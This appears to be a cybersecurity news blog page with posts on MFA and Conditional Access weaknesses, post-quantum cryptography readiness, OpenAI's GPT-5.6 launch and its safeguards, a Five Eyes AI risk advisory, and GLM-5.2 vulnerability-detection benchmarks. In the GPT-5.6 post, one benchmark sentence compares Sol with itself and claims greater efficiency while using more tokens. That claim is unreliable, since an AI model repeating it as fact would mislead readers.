  • MFA requirements applied only to specific user groups, such as administrators.
  • MFA was triggered only when login attempts originated from untrusted locations.

Huntress also revealed that eight affected organizations had not implemented any MFA policy.

"While threat actors in this campaign were able to get in despite MFA being set up, the takeaway should not be that MFA doesn't work at all; instead, organizations should ensure that their MFA policies are properly configured to address the authorization flow used across these incidents."

To reduce the risk of similar attacks, researchers recommend enforcing MFA for all users, all cloud applications, and all client application types when implementing Conditional Access Policies. Organizations should also restrict Azure CLI access for non-administrative users and prioritize incident response based on credential validity.

"This attack reveals cracks in CAPs that haven't been appropriately configured," Huntress researchers concluded. "There are still potential weaknesses in how CAPs are deployed that can allow threat actors to slip through. One glaring error here is that legacy protocols like ROPC can bypass some poorly-configured CAPs entirely since they don't go through the authorization endpoint where policies are enforced."

Read more »
IBM quantum computer
Cryptographically Relevant Quantum Computer Cryptography Cyber Security cybersecurity policies Enterprise security IBM quantum computer

Post-Quantum Cryptography Readiness Becomes a Strategic Cybersecurity Priority for Enterprises

 

Though practical quantum computers may still be years away, organizations are already preparing for the security risks they could create. Post-quantum cryptography has shifted from research into real-world planning as experts warn current encryption could eventually become vulnerable. Rather than waiting for that moment, many businesses are reviewing existing systems now. 

Early preparation is increasingly viewed as essential because delaying changes could make future transitions far more difficult. Fresh policies are adding urgency by setting clear expectations for organizations responsible for protecting critical infrastructure and sensitive data. Quantum readiness is no longer seen as only an IT issue but a business-wide priority involving leadership, governance, funding, and long-term planning. 

Instead of simply replacing outdated encryption, organizations are expected to build flexible strategies that can adapt to future cryptographic standards. A major concern is the “harvest now, decrypt later” threat. Attackers may steal encrypted information today and store it until quantum computers become powerful enough to decrypt it. 

Intellectual property, healthcare records, financial information, source code, and government communications with long-term value could all become exposed in the future, even if current encryption remains secure against today’s computers. The challenge is no longer just preparing for future technology but protecting data that must remain confidential for years. Organizations handling highly sensitive or regulated information may need to begin migration sooner because the consequences of delayed action could be far greater.  

Cybersecurity leaders recommend assigning clear ownership of post-quantum initiatives instead of leaving responsibility with individual application teams. Cross-functional groups involving security, IT, engineering, legal, compliance, procurement, and business leadership are better positioned to manage the transition since encryption supports nearly every part of modern digital operations. 

A critical first step is identifying where cryptography exists throughout the organization. Many companies lack a complete view of which systems rely on specific algorithms, certificates, keys, authentication methods, APIs, cloud environments, and third-party services. Without that visibility, assessing risks or deciding migration priorities becomes extremely difficult. Security experts also stress that this inventory should remain continuously updated rather than existing as a static spreadsheet. 

Ongoing visibility helps organizations identify systems requiring stronger protection, understand dependencies, provide accurate regulatory reporting, and give executives a realistic view of progress. Once cryptographic assets are fully mapped, organizations can prioritize migration based on business impact. Systems protecting customer information, healthcare data, financial services, critical infrastructure, digital identities, and software integrity generally require attention before less critical environments, allowing organizations to spread the transition over several years. 

Preparing for post-quantum security also requires dedicated investment. Funding must support discovery tools, testing environments, migration programs, automation, and governance. Organizations will also need specialists with expertise in cryptography, enterprise architecture, public key infrastructure, compliance, and cybersecurity to guide the transition effectively. Long-term success depends on achieving crypto-agility—the ability to update cryptographic algorithms without rebuilding entire systems. 

Rather than treating post-quantum cryptography as a one-time project, many organizations are designing adaptable security architectures capable of evolving alongside future standards. As artificial intelligence, autonomous technologies, and increasingly complex digital ecosystems continue to expand, flexible cryptographic infrastructure will become even more important.  

Although no one knows exactly when quantum computers capable of breaking today’s encryption will become reality, many cybersecurity experts believe organizations should begin preparing now. Companies that establish governance, maintain visibility into cryptographic assets, and gradually modernize their infrastructure will be better positioned to adapt as quantum computing—and the security landscape—continues to evolve.
Read more »
OpenAI Security
AI Security Model Cyber Defense AI Cyber Security Defensive AI Frontier AI Security GPT-5.5 Cyber GPT-5.6 OpenAI GPT-5.6 Sol OpenAI Security

GPT-5.6 Sol Debuts With Enhanced Cyber Protections, Limited to Trusted Partners


 

An open preview of OpenAI's next-generation GPT-5.6 model family has been introduced under tight control, marking an important milestone in the advancement of frontier artificial intelligence with an equal emphasis on cybersecurity and responsible deployment. The release is anchored by GPT-5.6 Sol, the company's most advanced and security-hardened model to date. 

It introduces a three-tier architecture comprising Sol, Terra, and Luna, each of which is specifically designed to meet distinct performance, cost, and deployment requirements in software engineering, scientific research, professional knowledge work, computer use, and cybersecurity. OpenAI has restricted access to its API and Codex platforms to a select group of trusted partners following a formal request from the Trump administration rather than releasing the technology to the general public immediately. 

As a result, a cautious strategy emphasizes rigorous security evaluation, controlled real-world testing, and resilience against misuse before the product is available in broad markets. 

GPT-5.6 Introduces a New AI Model Architecture

Moreover, OpenAI is transforming its product architecture, replacing sequential branding with permanent capability tiers in addition to its flagship launch. A long-term restructuring of OpenAI's model portfolio is also part of the GPT-5.6 release, replacing sequential branding with permanent capability tiers that differentiate performance, efficiency, and deployment. 

Sol is the flagship model for advanced reasoning and technical tasks within this framework, Terra delivers performance comparable to GPT-5.5 at approximately half the operational cost for enterprise-scale deployments, while Luna is designed to achieve low latency and low operating cost for high-volume inference applications. Instead of GPT-5.5, which emphasized reasoning and coding improvements, GPT-5.6 emphasizes defensive cybersecurity, controlled deployment, and capability-specific safeguards, reflecting the general trend toward the advancement of security-aware frontier AI. 

The company states that the phased deployment reflects ongoing engagement with federal authorities in an effort to align future frontier AI releases with the objectives outlined in the recent Executive Order governing the assessment of advanced artificial intelligence systems for national security purposes. 

Preparedness Framework Strengthens Cybersecurity Safeguards 

Security remains central to the GPT-5.6 rollout. In its Preparedness Framework, OpenAI has categorized Sol, Terra, and Luna as High Capability models for both cybersecurity, biology, and chemical domains. However, none of these models currently meet the threshold for AI self-improvement as a High Capability model. 

To reduce the increased dual-use risks associated with increasingly capable foundation models, the company has adopted capability-specific safeguards rather than a uniform protection layer in order to mitigate this risk. By combining policy-level restrictions with automated classifiers, cybersecurity- and biology-related prompts are continuously analyzed in real time through the security architecture. 

When potentially high-risk interactions are detected, response generation is temporarily halted until a secondary reasoning model reviews the conversational context to determine whether or not to allow or restrict responses. A risk assessment can also be conducted by OpenAI at an account level to help differentiate legitimate security research and vulnerability analysis from potentially malicious behavior. 

GPT-5.6 Sol Demonstrates Strong Defensive Security Performance

The OpenAI benchmark results demonstrate that GPT-5.6 Sol provides competitive performance in defensive cybersecurity tasks while operating with significantly higher computational efficiency as compared to GPT-5.6 Sol. Sol was able to achieve results comparable to those of leading frontier systems such as Mythos Preview when evaluated on ExploitBench with one-third more tokens required for output. 

In internal testing of large Chromium and Firefox codebases, the model demonstrated the capability of identifying software flaws, isolating vulnerabilities, and providing patching advice as well as basic exploitation primitives. In addition, OpenAI pointed out that the system did not independently develop complete multistage exploit chains, reinforcing its goal of supporting defensive security research rather than facilitating offensive cyber operations. 

Red-Teaming and Safety Testing Ahead of Deployment

The OpenAI preview version included more than 700,000 A100-equivalent GPU hours of automated red-teaming for further strengthening resilience against misuse. Rather than focusing solely on isolated prompt failures, the testing program targeted systemic weaknesses as well as universal jailbreak techniques capable of bypassing model safeguards across a variety of scenarios, thereby enhancing resilience against misuse. 

In the coming week, OpenAI plans to make the models available to a wider range of API and Codex partners. Additionally, OpenAI warns against making government-mediated pre-clearance a permanent requirement for frontier AI deployments. As a result of prolonged restrictions, advanced defensive capabilities may not be available as needed by the wider cybersecurity community to combat rapidly evolving threats if they are prolonged. 

Pricing, Capability Tiers and Enterprise Availability 

Additionally, OpenAI has revised its naming strategy with generation numbers identifying the model family, and Sol, Terra, and Luna remaining persistent capability layers. A tiered pricing structure based on token consumption has been established by the company, with GPT-5.6 Sol charging $5 for a million input tokens and $30 for a million output tokens, Terra charging $2.50 per input and $15 per output, and Luna charging $1 per input and $6 per output, in accordance with the performance profiles and deployment scenarios of each model. 

As part of OpenAI's ongoing commitment to the enterprise, GPT-5.6 Sol will be released on Cerebras in July, delivering inference speeds of up to 750 tokens per second for enterprises with high-throughput AI requirements. 

Government Oversight Shapes GPT-5.6 Rollout 

GPT-5.6's limited release has also been the focus of an ongoing debate concerning national security oversight of frontier AI systems as a result of the limited release. According to OpenAI, the decision was made to limit the initial release following the Trump administration's request for a staggered rollout as government agencies evaluated the impact of the model's advanced capabilities. 

Sam Altman, the Chief Executive Officer of OpenAI, has subsequently advised employees that access to the preview will be approved individually as part of the coordinated rollout process. The request was made in consultation with the Office of the National Cyber Director, the Office of Science and Technology Policy, and Howard Lutnick, Secretary of Commerce. 

It was openAI's belief that government-mediated access should continue to be an exceptional measure rather than a long-term deployment model, even as it cooperated with the temporary review process, arguing extended restrictions may deter developers, enterprises, and cybersecurity practitioners from implementing critical AI capabilities. 

New Reasoning Modes Expand Defensive AI Capabilities 

 Along with deployment and governance, OpenAI has also enhanced the defensive security capabilities of GPT-5.6. According to OpenAI, GPT-5.6 is designed to make prohibited offensive activities more difficult, uncertain, and detectable while preserving legitimate applications such as code review, vulnerability research, patch development, and defensive security testing. 

The Max Reasoning Effort mode introduced in GPT-5.6 supports this approach by allowing Sol to allocate considerable computational resources to complex problems before providing responses. With Ultra reasoning, the execution of long-term tasks which require sustained planning and multi-step analysis is enhanced beyond conventional single-agent execution by orchestrating multiple parallel subagents capable of collaborating collaboratively. 

Scientific Benchmarks and OpenAI's Cybersecurity Roadmap

GPT-5.6 is the latest model family from OpenAI that demonstrates the company's commitment to AI-based defensive cybersecurity. Additionally, the company recently introduced GPT-5.5-Cyber as part of its Daybreak initiative, a specialized model for automated vulnerability discovery, patch generation, and software remediation. 

The OpenAI model achieved state-of-the-art performance across CyberGym (85.6%), ExploitGym (39%), and SEC Bench Pro (69.8%), a significant improvement over GPT-5.5 baselines. Additionally, GPT-5.6 Sol has demonstrated improved performance on GeneBench v1 and improved reasoning efficiency, indicating that the latest releases are an integral part of a broader strategy: advancing frontier AI capabilities while also investing equally in tools and safeguards necessary for enhancing cyber defenses.
Read more »
Threat Intelligence
AI Threat Business Security Cyber Security Five Eyes Threat Intelligence

Five Eyes Warns New AI Models Pose Urgent Cyber Risk

 

The Five Eyes intelligence alliance has issued a stark warning that the latest generation of artificial intelligence could reshape the cyber threat landscape much faster than most organizations expect. In a joint advisory, intelligence and cybersecurity leaders from the United States, the United Kingdom, Canada, Australia and New Zealand said frontier AI models are advancing so quickly that long-standing assumptions about cyber risk may become outdated in only a matter of months. 

The message is clear: AI is no longer just a productivity tool or a research breakthrough. It is also a force multiplier for attackers who want to move faster, exploit weaknesses sooner and launch more sophisticated campaigns. According to the advisory, AI can lower the barriers for malicious actors by making phishing, malware development and vulnerability discovery easier and more efficient. 

That means attackers with limited technical skill may soon be able to carry out actions that once required experienced operators, while more advanced threat groups could automate parts of their workflow at greater scale. The intelligence chiefs said the risk is not theoretical, because the speed of AI development is already changing how quickly vulnerabilities can be found and weaponized. As a result, organizations that wait for mature standards may find themselves exposed before they realize the threat has changed. 

The alliance also emphasized that cyber risk should be treated as a business risk, not just an IT issue. Its guidance urges leaders to understand risk, strengthen foundational security controls and give cyber teams enough authority and resources to respond effectively. The warning stresses that breaches are inevitable, so preparedness matters as much as prevention. In practice, that means testing incident response plans, training staff and making sure the organization can contain and recover from an attack before it turns into a wider operational or financial crisis. 

Five practical steps were highlighted as urgent priorities: reduce unnecessary exposure, accelerate patching, address legacy systems, strengthen identity and access controls and prepare for incidents in advance. The advice is especially relevant because outdated systems and slow patch cycles remain common weaknesses across both public and private sectors. By limiting attack surfaces and tightening access, organizations can reduce the chances that AI-assisted attackers will find an easy opening. The core message is that resilience must be built before a crisis starts, not after. 

For businesses, the report is a reminder that AI’s cyber impact is arriving faster than policy and governance often do. The Five Eyes warning does not argue that AI should be avoided; instead, it says AI should be used deliberately to strengthen defense while leaders move faster on security basics. In other words, the organizations most likely to cope with AI-driven threats will be those that treat cybersecurity as continuous readiness, not a one-time compliance exercise.
Read more »
zhipu ai
AI Policy Artificial Intelligence China Cyber Security USA vulnerability zhipu ai

China's New AI Model Challenges U.S. Cybersecurity Leaders

 



China's latest open-weight artificial intelligence model is drawing attention within the cybersecurity community after independent evaluations indicated that it can rival some of the vulnerability detection capabilities of leading U.S. frontier AI systems. The findings are fueling renewed debate over whether restricting access to advanced American AI models is enough to slow the spread of powerful cyber capabilities.

Chinese AI company Zhipu AI, also known as Z.ai, released its GLM-5.2 model on June 13 under a permissive open-weight license. Unlike proprietary AI systems that are only accessible through controlled cloud services, open-weight models allow researchers and developers to download the model weights and run them on their own hardware. This approach enables offline deployment, customization through fine-tuning, and unrestricted experimentation without requiring ongoing approval from the model developer.

The release stands in contrast to Anthropic's Claude Mythos, one of several advanced AI systems whose availability has been limited under U.S. export controls because of concerns that highly capable models could be misused for offensive cyber operations. While GLM-5.2 still falls behind leading models from Anthropic and OpenAI across many general-purpose reasoning benchmarks, recent testing suggests it performs remarkably well in one highly specialized area: identifying software vulnerabilities.

Independent benchmarking conducted by Semgrep found that GLM-5.2 achieved an F1 score of 39% when detecting Insecure Direct Object Reference (IDOR) vulnerabilities. IDOR flaws arise when applications expose internal object identifiers without properly verifying whether a user is authorized to access the requested resource, making them a common source of unauthorized data access and privilege abuse. Under the same evaluation conditions, Claude Code recorded scores ranging from 32% to 37%, placing GLM-5.2 slightly ahead in this specific cybersecurity task.

The benchmark also underlined a notable economic advantage. Researchers estimated that GLM-5.2 identified vulnerabilities at an average cost of approximately $0.17 per finding, roughly one-sixth of the cost associated with comparable Claude-based workflows. Lower operating costs could make advanced AI-assisted vulnerability research accessible to a much broader range of organizations, independent researchers, and software security teams.

Additional benchmarking conducted by Graphistry reached similar conclusions, reinforcing the view that an openly downloadable Chinese model can compete with frontier U.S. AI systems in narrowly focused cybersecurity applications. The independent evaluations are particularly noteworthy because they relied on standardized testing methodologies designed to reduce benchmark contamination and minimize vendor-specific bias.

The findings arrive amid growing concern in Washington over the national security implications of frontier artificial intelligence. The Trump administration has increasingly treated advanced AI models such as Mythos and Fable as strategic technologies because of their ability to automate complex cybersecurity tasks, including discovering previously unknown software vulnerabilities that could potentially be weaponized in cyber operations.

Those concerns have shaped U.S. export control policies that restrict access to some advanced AI systems for foreign organizations, including researchers based in China. The underlying assumption behind these controls is that limiting access to the most capable American models would delay competing nations from acquiring comparable cyber capabilities. GLM-5.2's performance is prompting renewed questions about whether restricting model access alone can achieve that objective when capable alternatives are being developed elsewhere.

The discussion is further informed by Anthropic's Project Glasswing, which previously demonstrated the cybersecurity potential of frontier AI by identifying more than 10,000 critical software vulnerabilities during its initial research phase. The project illustrated how advanced language models can assist security researchers in reviewing large codebases, prioritizing weaknesses, and accelerating vulnerability discovery. If open-weight models begin approaching similar levels of performance, comparable capabilities may no longer remain exclusive to a small number of tightly controlled AI providers.

The latest development also comes shortly after OpenAI introduced GPT-5.6 with limited availability because of concerns surrounding misuse. Together, these decisions reflect a broader effort by U.S. AI developers to place increasingly capable models behind controlled access mechanisms while balancing innovation with national security considerations.

Cybersecurity researchers note that advances in open-weight models create opportunities as well as risks. Defensive teams could use these systems to automate code reviews, strengthen secure software development practices, and accelerate vulnerability remediation. At the same time, threat actors may attempt to exploit the same capabilities to identify weaknesses in software before organizations have an opportunity to patch them. Because GLM-5.2 can be downloaded and operated locally, these capabilities are available globally regardless of whether users have access to commercial U.S. AI services.

The emergence of GLM-5.2 does not necessarily indicate that Chinese AI has surpassed American frontier models across every benchmark. However, its strong performance in specialized cybersecurity evaluations suggests that the technological gap is narrowing in selected high-value domains. The development is likely to intensify debate over whether hardware restrictions and access controls alone are sufficient to preserve leadership in AI-driven cybersecurity, or whether future policy must place greater emphasis on strengthening defensive capabilities, accelerating software patching, and preparing for a world where advanced vulnerability discovery tools become increasingly accessible worldwide.

Read more »
Subscribe to: Posts (Atom)